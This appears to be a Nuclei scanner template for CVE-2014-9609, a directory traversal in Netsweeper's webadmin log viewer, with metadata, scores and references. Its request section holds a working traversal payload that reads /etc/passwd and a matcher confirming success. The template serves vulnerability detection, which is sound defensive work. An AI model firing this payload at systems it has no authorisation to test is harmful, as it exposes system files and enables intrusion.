id: CVE-2014-9609 info: name: Netsweeper 4.0.8 - Directory Traversal author: daffainfo severity: medium description: A directory traversal vulnerability in webadmin/reporter/view_server_log.php in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to list directory contents via a .. (dot dot) in the log parameter in a stats action. impact: | An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise. remediation: | Upgrade to a patched version of Netsweeper or apply the necessary security patches to fix the directory traversal vulnerability. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9609 - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2014-9609 cwe-id: CWE-22 epss-score: 0.00153 epss-percentile: 0.51564 cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: netsweeper product: netsweeper tags: cve2014,cve,netsweeper,lfi,packetstorm,xss http: - method: GET path: - "{{BaseURL}}/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100892f2788bca553f630c6b26ae37681204b18b79f07935ad0067733c4dd4a12d5022028cfe7f92f7ed7a3174ce37145a4c7832af65250a45e5727c3e4443603c9e6ea:922c64590222798bb761d5b6d8e72950